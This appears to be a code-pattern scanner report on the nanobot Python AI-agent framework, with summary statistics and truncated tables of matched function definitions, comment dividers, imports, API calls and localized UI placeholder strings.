Ultra-lightweight, open-source, self-hosted personal AI agent framework in Python with WebUI, tools, memory, MCP, multi-agent workflows, automation, and chat apps
This report summarizes scanner evidence for HKUDS/nanobot, a Python project with 48,931 GitHub stars. SynthScan examined 536,230 lines of code across 1731 source files, recording 11435 pattern matches distributed across 22 syntactic categories. The legacy adjusted pattern signal is 27.4 (Elevated pattern signal); it is not an authorship estimate.
Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.
Use each vector to guide manual verification of the underlying findings.
Can maintainers explain intent, assumptions, and trade-offs? 8379 finding(s).
Are imports declared and package/API names verified? 1648 finding(s).
Are wrappers, guards, and repeated structures necessary? 9450 finding(s).
Which changes need focused human review? 11435 finding(s).
This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.
Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.
This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.
The scanner identified 11435 distinct pattern matches across 22 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | conftest.py | 19 | def _isolate_tokenizer_warmup(monkeypatch: pytest.MonkeyPatch) -> None: | CODE |
| LOW | conftest.py | 26 | def _isolate_nanobot_log_activation() -> Iterator[None]: | CODE |
| LOW | conftest.py | 63 | def _isolate_llm_usage_stores( | CODE |
| LOW | conftest.py | 78 | def _isolate_star_prompt_store( | CODE |
| LOW | conftest.py | 102 | def _use_windows_system_ca_for_default_http_clients() -> Iterator[None]: | CODE |
| LOW | tui/scripts/package-release.py | 27 | def _validate_opentui_version(root: Path, notices: str) -> None: | CODE |
| LOW | tui/src/composer/clipboard-image.ts | 34 | export function createClipboardImageReader( | CODE |
| LOW | tui/src/platform/host.ts | 11 | export function configureOpenTuiEnvironment( | CODE |
| LOW | tui/src/menus/command-menu.ts | 43 | export function resolveSlashCommandLifecycle( | CODE |
| LOW | tui/src/rendering/latex.ts | 545 | function markdownLinkDestinationEnds(source: string): ReadonlyMap<number, number> { | CODE |
| LOW | tui/src/client/connection.ts | 100 | export function sanitizeConnectionFailure(error: unknown): string { | CODE |
| LOW | nanobot/process_runtime.py | 453 | def _posix_process_started_at(self, pid: int) -> str | None: | CODE |
| LOW | nanobot/process_runtime.py | 636 | def _legacy_darwin_started_at(value: str) -> int | None: | CODE |
| LOW | nanobot/process_runtime.py | 722 | def _windows_process_identity(pid: int) -> str | None: | CODE |
| LOW | nanobot/optional_features.py | 67 | def optional_dependency_groups_from_metadata() -> dict[str, list[str] | None]: | CODE |
| LOW | nanobot/optional_features.py | 86 | def optional_dependency_groups() -> dict[str, list[str] | None]: | CODE |
| LOW | nanobot/optional_features.py | 103 | def _install_requirements_for_extra(extra: str, deps: list[str]) -> list[str]: | CODE |
| LOW | nanobot/optional_features.py | 150 | def _extra_dependencies_installed( | CODE |
| LOW | nanobot/optional_features.py | 292 | def set_channel_config_enabled( | CODE |
| LOW | nanobot/optional_features.py | 371 | def _channel_has_required_setup(section: Any, spec: ChannelSetupSpec | None) -> bool: | CODE |
| LOW | nanobot/optional_features.py | 425 | def optional_features_payload( | CODE |
| LOW | nanobot/optional_features.py | 536 | def with_channel_runtime_status( | CODE |
| LOW | nanobot/optional_features.py | 627 | def _combined_channel_runtime_state( | CODE |
| LOW | nanobot/optional_features.py | 643 | def _install_feature_dependencies( | CODE |
| LOW | nanobot/optional_features.py | 675 | def install_optional_feature_support( | CODE |
| LOW | nanobot/optional_features.py | 827 | def ensure_enabled_channel_dependencies( | CODE |
| LOW | nanobot/optional_features.py | 854 | def _feature_requires_restart(name: str, *, is_channel: bool) -> bool: | CODE |
| LOW | nanobot/runtime_context.py | 55 | def wrap_runtime_context_lines(lines: Iterable[str]) -> str: | CODE |
| LOW | nanobot/runtime_context.py | 63 | def webui_quote_runtime_context(metadata: Mapping[str, Any]) -> RuntimeContextBlock | None: | CODE |
| LOW | nanobot/runtime_context.py | 78 | def normalize_runtime_context_blocks(result: RuntimeContextResult) -> list[RuntimeContextBlock]: | CODE |
| LOW | nanobot/runtime_context.py | 99 | def runtime_context_blocks_from_metadata( | CODE |
| LOW | nanobot/pairing/store.py | 316 | def _handle_pairing_subcommand(channel: str, subcommand_text: str) -> str: | CODE |
| LOW | nanobot/config/provider_api_migration.py | 10 | def migrate_legacy_provider_api( | CODE |
| LOW | nanobot/config/errors.py | 93 | def _friendly_validation_message(message: str, code: str) -> str: | CODE |
| LOW | nanobot/config/schema.py | 380 | def wildcard_host_requires_auth(self) -> "ApiConfig": | CODE |
| LOW | nanobot/config/schema.py | 708 | def _resolve_tool_config_refs() -> None: | CODE |
| LOW | nanobot/security/workspace_access.py | 239 | def validate_workspace_scope_payload( | CODE |
| LOW | nanobot/security/workspace_access.py | 280 | def workspace_scope_from_metadata( | CODE |
| LOW | nanobot/security/workspace_access.py | 310 | def resolve_effective_workspace_scope( | CODE |
| LOW | nanobot/security/workspace_access.py | 372 | def current_scope_allows_loopback(*, enabled: bool) -> bool: | CODE |
| LOW | nanobot/security/network.py | 334 | def _is_allowed_loopback_target( | CODE |
| LOW | nanobot/triggers/local_store.py | 222 | def recover_processing_deliveries(self) -> int: | CODE |
| LOW | nanobot/triggers/local_store.py | 293 | def write_delivery_run_record( | CODE |
| LOW | nanobot/triggers/local_store.py | 357 | def _move_bad_delivery_unlocked(self, path: Path) -> None: | CODE |
| LOW | nanobot/triggers/local_store.py | 379 | def _delete_delivery_files_for_trigger_unlocked(self, trigger_id: str) -> None: | CODE |
| LOW | nanobot/triggers/local_store.py | 397 | def _delivery_file_trigger_id(path: Path) -> str | None: | CODE |
| LOW | nanobot/triggers/local_runner.py | 169 | def _write_delivery_run_record( | CODE |
| LOW | nanobot/triggers/local_session_turns.py | 15 | def _local_trigger_history_text(trigger: Mapping[str, Any]) -> str: | CODE |
| LOW | nanobot/triggers/local_session_turns.py | 46 | def local_trigger_delivery_id(metadata: Mapping[str, Any] | None) -> str | None: | CODE |
| LOW | nanobot/triggers/local_turns.py | 33 | def pending_trigger_ids_for_session(self, session_key: str) -> set[str]: | CODE |
| LOW | nanobot/triggers/local_turns.py | 38 | def _should_defer_local_trigger_turn( | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 244 | def register_image_gen_provider(cls: type[ImageGenerationProvider]) -> None: | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 265 | def image_gen_provider_configs(config: Config) -> dict[str, ProviderConfig]: | CODE |
| LOW⚡ | nanobot/providers/image_generation.py | 1655 | def _collect_text_from_sse_event(event: dict[str, Any], text_parts: list[str]) -> None: | CODE |
| LOW | nanobot/providers/image_generation.py | 113 | def image_path_to_inline_data(path: str | Path) -> dict[str, str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 606 | def _ollama_images_from_payload(payload: dict[str, Any]) -> list[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 867 | def _gemini_flash_image_config( | CODE |
| LOW | nanobot/providers/image_generation.py | 890 | def _gemini_flash_supported_aspect_ratios(model: str) -> set[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 903 | def _gemini_flash_supported_image_sizes(model: str) -> set[str]: | CODE |
| LOW | nanobot/providers/image_generation.py | 919 | async def _aihubmix_images_from_payload( | CODE |
| 7935 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | nanobot/providers/image_generation.py | 237 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 239 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 274 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 276 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 1662 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/providers/image_generation.py | 1664 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1093 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1095 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1366 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1368 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1784 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1786 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1927 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 1929 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 2115 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/image_generation.py | 2117 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 200 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 202 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 914 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/registry.py | 916 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 851 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 853 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1310 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1312 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1845 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1847 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 133 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 135 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 268 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 270 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/providers/anthropic_provider.py | 742 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/providers/anthropic_provider.py | 744 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 198 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 200 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 507 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 509 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 549 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 551 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 587 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 589 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 673 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/providers/anthropic_provider.py | 675 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/utils/document.py | 664 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/document.py | 666 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/searchusage.py | 89 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/utils/searchusage.py | 91 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 54 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 56 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/memory.py | 698 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM⚡ | nanobot/agent/memory.py | 700 | # ------------------------------------------------------------------ | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 747 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/memory.py | 749 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 545 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 547 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 591 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | nanobot/agent/tools/filesystem.py | 593 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 197 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 199 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 1116 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | nanobot/agent/tools/filesystem.py | 1118 | # --------------------------------------------------------------------------- | COMMENT |
| 614 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | nanobot/pairing/store.py | 21 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/config/paths.py | 8 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/config/loader.py | 18 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/triggers/local_store.py | 19 | from nanobot.utils.helpers import truncate_text | CODE |
| CRITICAL | nanobot/providers/image_generation.py | 25 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/providers/xai_oauth.py | 34 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/providers/conversation_state.py | 14 | from nanobot.utils.helpers import estimate_prompt_tokens_chain | CODE |
| CRITICAL | nanobot/providers/openai_codex_provider.py | 44 | from nanobot.utils.helpers import estimate_prompt_tokens | CODE |
| CRITICAL | nanobot/providers/base.py | 30 | from nanobot.utils.helpers import sanitize_surrogates_deep | CODE |
| CRITICAL | nanobot/utils/media_decode.py | 14 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/utils/workspace_prompts.py | 8 | from nanobot.utils.helpers import truncate_text | CODE |
| CRITICAL | nanobot/utils/__init__.py | 9 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/utils/runtime.py | 11 | from nanobot.utils.helpers import stringify_text_blocks | CODE |
| CRITICAL | nanobot/utils/document.py | 13 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/utils/artifacts.py | 15 | from nanobot.utils.helpers import detect_image_mime, ensure_dir | CODE |
| CRITICAL | nanobot/agent/progress_hook.py | 14 | from nanobot.utils.helpers import IncrementalThinkExtractor, strip_think | CODE |
| CRITICAL | nanobot/agent/context.py | 31 | from nanobot.utils.helpers import detect_image_mime, load_bundled_template | CODE |
| CRITICAL | nanobot/agent/turn_delivery.py | 36 | from nanobot.utils.helpers import strip_think | CODE |
| CRITICAL | nanobot/agent/loop.py | 102 | from nanobot.utils.helpers import image_placeholder_text | CODE |
| CRITICAL | nanobot/agent/tools/image_generation.py | 42 | from nanobot.utils.helpers import detect_image_mime | CODE |
| CRITICAL | nanobot/agent/tools/session_messages.py | 186 | from nanobot.utils.helpers import strip_think | CODE |
| CRITICAL | nanobot/agent/tools/web.py | 29 | from nanobot.utils.helpers import build_image_content_blocks | CODE |
| CRITICAL | nanobot/agent/tools/mcp_oauth.py | 37 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/agent/tools/filesystem.py | 25 | from nanobot.utils.helpers import build_image_content_blocks, detect_image_mime | CODE |
| CRITICAL | nanobot/agent/tools/message.py | 161 | from nanobot.utils.helpers import strip_think | CODE |
| CRITICAL | nanobot/cli/gateway_runtime.py | 45 | from nanobot.utils.helpers import sync_workspace_templates | CODE |
| CRITICAL | nanobot/cli/terminal.py | 32 | from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogates | CODE |
| CRITICAL | nanobot/cli/webui.py | 40 | from nanobot.utils.helpers import sync_workspace_templates | CODE |
| CRITICAL | nanobot/cli/agent.py | 134 | from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogates | CODE |
| CRITICAL | nanobot/cli/commands.py | 68 | from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogates # noqa: E402,F401 | CODE |
| CRITICAL | nanobot/api/server.py | 23 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/webui/inbound_commands.py | 38 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/webui/session_context.py | 9 | from nanobot.utils.helpers import estimate_message_tokens, truncate_text | CODE |
| CRITICAL | nanobot/webui/remote_instances.py | 19 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/webui/transcript.py | 28 | from nanobot.utils.helpers import atomic_write_lines | CODE |
| CRITICAL | nanobot/webui/star_prompt.py | 13 | from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage] | CODE |
| CRITICAL | nanobot/webui/mcp_presets_api.py | 33 | from nanobot.utils.helpers import ensure_dir | CODE |
| CRITICAL | nanobot/webui/media_api.py | 22 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/webui/automation_chats.py | 15 | from nanobot.utils.helpers import truncate_text | CODE |
| CRITICAL | nanobot/command/builtin.py | 21 | from nanobot.utils.helpers import build_status_content | CODE |
| CRITICAL⚡ | …ot/channels/websocket/tests/test_attachment_ingress.py | 142 | assert not [p for p in channel.gateway.uploads.store.media_dir.rglob("*") if p.is_file()] | CODE |
| CRITICAL | …ot/channels/websocket/tests/test_attachment_ingress.py | 176 | assert not [p for p in channel.gateway.uploads.store.media_dir.rglob("*") if p.is_file()] | CODE |
| CRITICAL | nanobot/channels/napcat/runtime.py | 29 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/channels/discord/runtime.py | 23 | from nanobot.utils.helpers import safe_filename, split_message | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 47 | from nanobot.utils.helpers import safe_filename | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1314 | response = self._client.im.v1.message_reaction.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1355 | response = self._client.im.v1.message_reaction.delete(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1705 | response = self._client.im.v1.image.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1739 | response = self._client.im.v1.file.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1767 | response = self._client.im.v1.message_resource.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1802 | response = self._client.im.v1.message_resource.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1906 | response = self._client.im.v1.message.get(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 1963 | response = self._client.im.v1.message.reply(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 2095 | response = self._client.im.v1.message.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 2153 | response = self._client.cardkit.v1.card.create(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 2203 | response = self._client.cardkit.v1.card_element.content(request) | CODE |
| CRITICAL | nanobot/channels/feishu/runtime.py | 2235 | response = self._client.cardkit.v1.card.settings(request) | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_reaction.py | 100 | ch._client.im.v1.message_reaction.delete.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_reaction.py | 112 | ch._client.im.v1.message_reaction.delete.assert_called_once() | CODE |
| CRITICAL⚡ | nanobot/channels/feishu/tests/test_feishu_reaction.py | 120 | ch._client.im.v1.message_reaction.delete.assert_called_once() | CODE |
| 109 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/webui/mcp_presets_api.py | 659 | "placeholder": field.placeholder, | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ja.json | 8 | "placeholder": "DingTalk Client ID" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ja.json | 12 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ja.json | 16 | "placeholder": "ユーザー ID(カンマ区切り)" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-CN.json | 9 | "placeholder": "钉钉 Client ID" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-CN.json | 13 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-CN.json | 17 | "placeholder": "用户 ID,用逗号分隔" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/en.json | 8 | "placeholder": "DingTalk client ID" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/en.json | 12 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/en.json | 16 | "placeholder": "User IDs, comma separated" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/fr.json | 8 | "placeholder": "Client ID DingTalk" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/fr.json | 12 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/fr.json | 16 | "placeholder": "ID utilisateur séparés par des virgules" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/pt-BR.json | 8 | "placeholder": "Client ID do DingTalk" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/pt-BR.json | 12 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/pt-BR.json | 16 | "placeholder": "IDs de usuário separados por vírgulas" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ko.json | 8 | "placeholder": "DingTalk Client ID" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ko.json | 12 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/ko.json | 16 | "placeholder": "사용자 ID, 쉼표로 구분" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-TW.json | 9 | "placeholder": "釘釘 Client ID" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-TW.json | 13 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/zh-TW.json | 17 | "placeholder": "使用者 ID,以逗號分隔" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/vi.json | 8 | "placeholder": "Client ID DingTalk" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/vi.json | 12 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/vi.json | 16 | "placeholder": "ID người dùng, phân tách bằng dấu phẩy" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/id.json | 8 | "placeholder": "Client ID DingTalk" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/id.json | 12 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/id.json | 16 | "placeholder": "ID pengguna, dipisahkan koma" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/es.json | 8 | "placeholder": "Client ID de DingTalk" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/es.json | 12 | "placeholder": "••••••" | CODE |
| LOW⚡ | nanobot/channels/dingtalk/webui/locales/es.json | 16 | "placeholder": "ID de usuario separados por comas" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ja.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ja.json | 12 | "placeholder": "アクセストークン(任意)" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ja.json | 24 | "placeholder": "QQ ID(カンマ区切り)" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-CN.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-CN.json | 12 | "placeholder": "可选令牌" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-CN.json | 24 | "placeholder": "QQ ID,用逗号分隔" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/en.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/en.json | 12 | "placeholder": "Optional token" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/en.json | 24 | "placeholder": "QQ IDs, comma separated" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/fr.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/fr.json | 12 | "placeholder": "Jeton facultatif" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/fr.json | 24 | "placeholder": "ID QQ séparés par des virgules" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/pt-BR.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/pt-BR.json | 12 | "placeholder": "Token opcional" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/pt-BR.json | 24 | "placeholder": "IDs do QQ separados por vírgulas" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ko.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ko.json | 12 | "placeholder": "액세스 토큰(선택 사항)" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/ko.json | 24 | "placeholder": "QQ ID, 쉼표로 구분" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-TW.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-TW.json | 12 | "placeholder": "選填權杖" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/zh-TW.json | 24 | "placeholder": "QQ ID,以逗號分隔" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/vi.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/vi.json | 12 | "placeholder": "Token tùy chọn" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/vi.json | 24 | "placeholder": "ID QQ, phân tách bằng dấu phẩy" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/id.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/id.json | 12 | "placeholder": "Token opsional" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/id.json | 24 | "placeholder": "ID QQ, dipisahkan koma" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/es.json | 8 | "placeholder": "ws://127.0.0.1:3001" | CODE |
| LOW | nanobot/channels/napcat/webui/locales/es.json | 12 | "placeholder": "Token opcional" | CODE |
| 740 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | conftest.py | 3 | CODE | |
| LOW | hatch_build.py | 21 | CODE | |
| LOW | tui/scripts/conpty_smoke.py | 4 | CODE | |
| LOW | tui/scripts/pty_smoke.py | 9 | CODE | |
| LOW | tui/scripts/package-release.py | 3 | CODE | |
| LOW | nanobot/nanobot.py | 3 | CODE | |
| LOW | nanobot/nanobot.py | 16 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
